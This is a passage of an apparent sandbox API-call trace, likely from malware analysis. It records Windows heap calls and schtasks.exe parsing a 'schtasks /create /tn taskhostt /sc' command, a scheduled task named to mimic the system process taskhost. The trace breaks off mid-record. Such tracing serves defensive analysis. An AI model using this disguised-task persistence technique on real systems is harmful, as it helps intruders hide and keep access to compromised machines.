0x3c0000 [0143.539] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dddf0) returned 1 [0143.539] GetProcessHeap () returned 0x3c0000 [0143.539] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dddf0) returned 0x6 [0143.540] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dddf0 | out: hHeap=0x3c0000) returned 1 [0143.540] GetProcessHeap () returned 0x3c0000 [0143.540] GetProcessHeap () returned 0x3c0000 [0143.540] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcdf0) returned 1 [0143.540] GetProcessHeap () returned 0x3c0000 [0143.540] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcdf0) returned 0x20 [0143.540] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcdf0 | out: hHeap=0x3c0000) returned 1 [0143.540] GetProcessHeap () returned 0x3c0000 [0143.540] GetProcessHeap () returned 0x3c0000 [0143.540] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db9d0) returned 1 [0143.540] GetProcessHeap () returned 0x3c0000 [0143.540] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db9d0) returned 0x18 [0143.540] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db9d0 | out: hHeap=0x3c0000) returned 1 [0143.541] SetLastError (dwErrCode=0x0) [0143.541] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0143.541] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0143.541] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0143.541] VerifyVersionInfoW (in: lpVersionInformation=0x21c0d0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21c0d0) returned 1 [0143.541] SetLastError (dwErrCode=0x0) [0143.541] lstrlenW (lpString="create") returned 6 [0143.541] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0143.541] SetLastError (dwErrCode=0x490) [0143.541] SetLastError (dwErrCode=0x0) [0143.541] lstrlenW (lpString="create") returned 6 [0143.541] GetProcessHeap () returned 0x3c0000 [0143.541] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcdf0 [0143.541] GetProcessHeap () returned 0x3c0000 [0143.541] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3dd520 [0143.541] _memicmp (_Buf1=0x3dd520, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.541] GetProcessHeap () returned 0x3c0000 [0143.541] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3dd540 [0143.541] SetLastError (dwErrCode=0x0) [0143.541] _memicmp (_Buf1=0x3dba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.541] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3dbc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0143.542] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0143.542] GetProcessHeap () returned 0x3c0000 [0143.542] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x74e) returned 0x3ddd50 [0143.542] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3ddd50 | out: lpData=0x3ddd50) returned 1 [0143.542] VerQueryValueW (in: pBlock=0x3ddd50, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21c1b8, puLen=0x21c220 | out: lplpBuffer=0x21c1b8*=0x3de0ec, puLen=0x21c220) returned 1 [0143.542] _memicmp (_Buf1=0x3dba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.542] _vsnwprintf (in: _Buffer=0x3dbc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21c198 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0143.542] VerQueryValueW (in: pBlock=0x3ddd50, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21c228, puLen=0x21c218 | out: lplpBuffer=0x21c228*=0x3ddf18, puLen=0x21c218) returned 1 [0143.542] lstrlenW (lpString="schtasks.exe") returned 12 [0143.543] lstrlenW (lpString="schtasks.exe") returned 12 [0143.543] lstrlenW (lpString=".EXE") returned 4 [0143.543] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0143.543] lstrlenW (lpString="schtasks.exe") returned 12 [0143.543] lstrlenW (lpString=".EXE") returned 4 [0143.543] lstrlenW (lpString="schtasks") returned 8 [0143.543] lstrlenW (lpString="/create") returned 7 [0143.543] _memicmp (_Buf1=0x3dba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.543] _vsnwprintf (in: _Buffer=0x3dbc30, _BufferCount=0x19, _Format="%s %s", _ArgList=0x21c198 | out: _Buffer="schtasks /create") returned 16 [0143.543] _memicmp (_Buf1=0x3dbab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.543] GetProcessHeap () returned 0x3c0000 [0143.543] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcdc0 [0143.543] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.543] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0143.543] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0143.543] GetProcessHeap () returned 0x3c0000 [0143.543] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d7ac0 [0143.543] _vsnwprintf (in: _Buffer=0x3dc030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21c198 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0143.543] GetProcessHeap () returned 0x3c0000 [0143.543] GetProcessHeap () returned 0x3c0000 [0143.543] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3ddd50) returned 1 [0143.543] GetProcessHeap () returned 0x3c0000 [0143.543] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3ddd50) returned 0x74e [0143.544] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3ddd50 | out: hHeap=0x3c0000) returned 1 [0143.544] SetLastError (dwErrCode=0x0) [0143.544] GetThreadLocale () returned 0x409 [0143.544] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.544] lstrlenW (lpString="create") returned 6 [0143.544] GetThreadLocale () returned 0x409 [0143.544] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.544] lstrlenW (lpString="?") returned 1 [0143.545] GetThreadLocale () returned 0x409 [0143.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.545] lstrlenW (lpString="s") returned 1 [0143.545] GetThreadLocale () returned 0x409 [0143.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.545] lstrlenW (lpString="u") returned 1 [0143.545] GetThreadLocale () returned 0x409 [0143.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.545] lstrlenW (lpString="p") returned 1 [0143.545] GetThreadLocale () returned 0x409 [0143.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.545] lstrlenW (lpString="ru") returned 2 [0143.545] GetThreadLocale () returned 0x409 [0143.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.545] lstrlenW (lpString="rp") returned 2 [0143.545] GetThreadLocale () returned 0x409 [0143.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.545] lstrlenW (lpString="sc") returned 2 [0143.545] GetThreadLocale () returned 0x409 [0143.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.545] lstrlenW (lpString="mo") returned 2 [0143.545] GetThreadLocale () returned 0x409 [0143.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.545] lstrlenW (lpString="d") returned 1 [0143.545] GetThreadLocale () returned 0x409 [0143.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.545] lstrlenW (lpString="m") returned 1 [0143.545] GetThreadLocale () returned 0x409 [0143.545] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.546] lstrlenW (lpString="i") returned 1 [0143.546] GetThreadLocale () returned 0x409 [0143.546] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.546] lstrlenW (lpString="tn") returned 2 [0143.546] GetThreadLocale () returned 0x409 [0143.546] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.546] lstrlenW (lpString="tr") returned 2 [0143.546] GetThreadLocale () returned 0x409 [0143.546] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.546] lstrlenW (lpString="st") returned 2 [0143.546] GetThreadLocale () returned 0x409 [0143.546] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.546] lstrlenW (lpString="sd") returned 2 [0143.546] GetThreadLocale () returned 0x409 [0143.546] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.546] lstrlenW (lpString="ed") returned 2 [0143.546] GetThreadLocale () returned 0x409 [0143.546] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.546] lstrlenW (lpString="it") returned 2 [0143.546] GetThreadLocale () returned 0x409 [0143.546] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.546] lstrlenW (lpString="et") returned 2 [0143.546] GetThreadLocale () returned 0x409 [0143.546] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.546] lstrlenW (lpString="k") returned 1 [0143.546] GetThreadLocale () returned 0x409 [0143.546] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.546] lstrlenW (lpString="du") returned 2 [0143.546] GetThreadLocale () returned 0x409 [0143.546] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.547] lstrlenW (lpString="ri") returned 2 [0143.547] GetThreadLocale () returned 0x409 [0143.547] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.547] lstrlenW (lpString="z") returned 1 [0143.547] GetThreadLocale () returned 0x409 [0143.547] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.547] lstrlenW (lpString="f") returned 1 [0143.547] GetThreadLocale () returned 0x409 [0143.547] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.547] lstrlenW (lpString="v1") returned 2 [0143.547] GetThreadLocale () returned 0x409 [0143.547] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.547] lstrlenW (lpString="xml") returned 3 [0143.547] GetThreadLocale () returned 0x409 [0143.547] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.547] lstrlenW (lpString="ec") returned 2 [0143.547] GetThreadLocale () returned 0x409 [0143.547] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.547] lstrlenW (lpString="rl") returned 2 [0143.547] GetThreadLocale () returned 0x409 [0143.547] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.547] lstrlenW (lpString="delay") returned 5 [0143.547] GetThreadLocale () returned 0x409 [0143.547] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.547] lstrlenW (lpString="np") returned 2 [0143.547] SetLastError (dwErrCode=0x0) [0143.547] SetLastError (dwErrCode=0x0) [0143.547] lstrlenW (lpString="/create") returned 7 [0143.547] lstrlenW (lpString="-/") returned 2 [0143.547] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.548] lstrlenW (lpString="create") returned 6 [0143.548] lstrlenW (lpString="create") returned 6 [0143.548] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.548] lstrlenW (lpString="create") returned 6 [0143.548] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.548] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|create|") returned 8 [0143.548] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|create|") returned 8 [0143.548] lstrlenW (lpString="|create|") returned 8 [0143.548] lstrlenW (lpString="|create|") returned 8 [0143.548] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0143.548] SetLastError (dwErrCode=0x0) [0143.548] SetLastError (dwErrCode=0x0) [0143.548] SetLastError (dwErrCode=0x0) [0143.548] lstrlenW (lpString="/tn") returned 3 [0143.548] lstrlenW (lpString="-/") returned 2 [0143.548] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.548] lstrlenW (lpString="create") returned 6 [0143.548] lstrlenW (lpString="create") returned 6 [0143.548] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.548] lstrlenW (lpString="tn") returned 2 [0143.548] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.548] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|create|") returned 8 [0143.548] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.548] lstrlenW (lpString="|create|") returned 8 [0143.548] lstrlenW (lpString="|tn|") returned 4 [0143.549] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0143.549] SetLastError (dwErrCode=0x490) [0143.549] lstrlenW (lpString="?") returned 1 [0143.549] lstrlenW (lpString="?") returned 1 [0143.549] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.549] lstrlenW (lpString="tn") returned 2 [0143.549] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.549] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|?|") returned 3 [0143.549] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.549] lstrlenW (lpString="|?|") returned 3 [0143.549] lstrlenW (lpString="|tn|") returned 4 [0143.549] SetLastError (dwErrCode=0x490) [0143.549] lstrlenW (lpString="s") returned 1 [0143.549] lstrlenW (lpString="s") returned 1 [0143.549] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.549] lstrlenW (lpString="tn") returned 2 [0143.549] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.549] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|s|") returned 3 [0143.549] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.549] lstrlenW (lpString="|s|") returned 3 [0143.549] lstrlenW (lpString="|tn|") returned 4 [0143.549] SetLastError (dwErrCode=0x490) [0143.549] lstrlenW (lpString="u") returned 1 [0143.549] lstrlenW (lpString="u") returned 1 [0143.549] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.549] lstrlenW (lpString="tn") returned 2 [0143.550] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.550] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|u|") returned 3 [0143.550] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.550] lstrlenW (lpString="|u|") returned 3 [0143.550] lstrlenW (lpString="|tn|") returned 4 [0143.550] SetLastError (dwErrCode=0x490) [0143.550] lstrlenW (lpString="p") returned 1 [0143.550] lstrlenW (lpString="p") returned 1 [0143.550] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.550] lstrlenW (lpString="tn") returned 2 [0143.550] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.550] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|p|") returned 3 [0143.550] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.550] lstrlenW (lpString="|p|") returned 3 [0143.550] lstrlenW (lpString="|tn|") returned 4 [0143.550] SetLastError (dwErrCode=0x490) [0143.550] lstrlenW (lpString="ru") returned 2 [0143.550] lstrlenW (lpString="ru") returned 2 [0143.550] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.550] lstrlenW (lpString="tn") returned 2 [0143.550] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.550] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|ru|") returned 4 [0143.550] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.550] lstrlenW (lpString="|ru|") returned 4 [0143.550] lstrlenW (lpString="|tn|") returned 4 [0143.550] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0143.551] SetLastError (dwErrCode=0x490) [0143.551] lstrlenW (lpString="rp") returned 2 [0143.551] lstrlenW (lpString="rp") returned 2 [0143.551] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.551] lstrlenW (lpString="tn") returned 2 [0143.551] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.551] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rp|") returned 4 [0143.551] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.551] lstrlenW (lpString="|rp|") returned 4 [0143.551] lstrlenW (lpString="|tn|") returned 4 [0143.551] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0143.551] SetLastError (dwErrCode=0x490) [0143.551] lstrlenW (lpString="sc") returned 2 [0143.551] lstrlenW (lpString="sc") returned 2 [0143.551] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.551] lstrlenW (lpString="tn") returned 2 [0143.551] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.551] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sc|") returned 4 [0143.551] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.551] lstrlenW (lpString="|sc|") returned 4 [0143.551] lstrlenW (lpString="|tn|") returned 4 [0143.551] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0143.551] SetLastError (dwErrCode=0x490) [0143.551] lstrlenW (lpString="mo") returned 2 [0143.551] lstrlenW (lpString="mo") returned 2 [0143.551] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.552] lstrlenW (lpString="tn") returned 2 [0143.552] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.552] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.552] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.552] lstrlenW (lpString="|mo|") returned 4 [0143.552] lstrlenW (lpString="|tn|") returned 4 [0143.552] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0143.552] SetLastError (dwErrCode=0x490) [0143.552] lstrlenW (lpString="d") returned 1 [0143.552] lstrlenW (lpString="d") returned 1 [0143.552] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.552] lstrlenW (lpString="tn") returned 2 [0143.552] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.552] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|d|") returned 3 [0143.552] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.552] lstrlenW (lpString="|d|") returned 3 [0143.552] lstrlenW (lpString="|tn|") returned 4 [0143.552] SetLastError (dwErrCode=0x490) [0143.552] lstrlenW (lpString="m") returned 1 [0143.552] lstrlenW (lpString="m") returned 1 [0143.552] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.552] lstrlenW (lpString="tn") returned 2 [0143.552] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.552] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|m|") returned 3 [0143.552] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.552] lstrlenW (lpString="|m|") returned 3 [0143.553] lstrlenW (lpString="|tn|") returned 4 [0143.553] SetLastError (dwErrCode=0x490) [0143.553] lstrlenW (lpString="i") returned 1 [0143.553] lstrlenW (lpString="i") returned 1 [0143.553] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.553] lstrlenW (lpString="tn") returned 2 [0143.553] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.553] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|i|") returned 3 [0143.553] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.553] lstrlenW (lpString="|i|") returned 3 [0143.553] lstrlenW (lpString="|tn|") returned 4 [0143.553] SetLastError (dwErrCode=0x490) [0143.553] lstrlenW (lpString="tn") returned 2 [0143.553] lstrlenW (lpString="tn") returned 2 [0143.553] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.553] lstrlenW (lpString="tn") returned 2 [0143.553] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.553] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.553] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.553] lstrlenW (lpString="|tn|") returned 4 [0143.553] lstrlenW (lpString="|tn|") returned 4 [0143.553] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0143.553] SetLastError (dwErrCode=0x0) [0143.553] SetLastError (dwErrCode=0x0) [0143.553] lstrlenW (lpString="taskhostt") returned 9 [0143.553] lstrlenW (lpString="-/") returned 2 [0143.554] StrChrIW (lpStart="-/", wMatch=0x74) returned 0x0 [0143.554] SetLastError (dwErrCode=0x490) [0143.554] SetLastError (dwErrCode=0x490) [0143.554] SetLastError (dwErrCode=0x0) [0143.554] lstrlenW (lpString="taskhostt") returned 9 [0143.554] StrChrIW (lpStart="taskhostt", wMatch=0x3a) returned 0x0 [0143.554] SetLastError (dwErrCode=0x490) [0143.554] SetLastError (dwErrCode=0x0) [0143.554] lstrlenW (lpString="taskhostt") returned 9 [0143.554] SetLastError (dwErrCode=0x0) [0143.554] SetLastError (dwErrCode=0x0) [0143.554] lstrlenW (lpString="/sc") returned 3 [0143.554] lstrlenW (lpString="-/") returned 2 [0143.554] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.554] lstrlenW (lpString="create") returned 6 [0143.554] lstrlenW (lpString="create") returned 6 [0143.554] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.554] lstrlenW (lpString="sc") returned 2 [0143.554] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.554] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|create|") returned 8 [0143.554] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sc|") returned 4 [0143.554] lstrlenW (lpString="|create|") returned 8 [0143.554] lstrlenW (lpString="|sc|") returned 4 [0143.554] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0143.554] SetLastError (dwErrCode=0x490) [0143.554] lstrlenW (lpString="?") returned 1 [0143.554] lstrlenW (lpString="?") returned 1 [0143.554] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.555] lstrlenW (lpString="sc") returned 2 [0143.555] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.555] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|?|") returned 3 [0143.555] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: 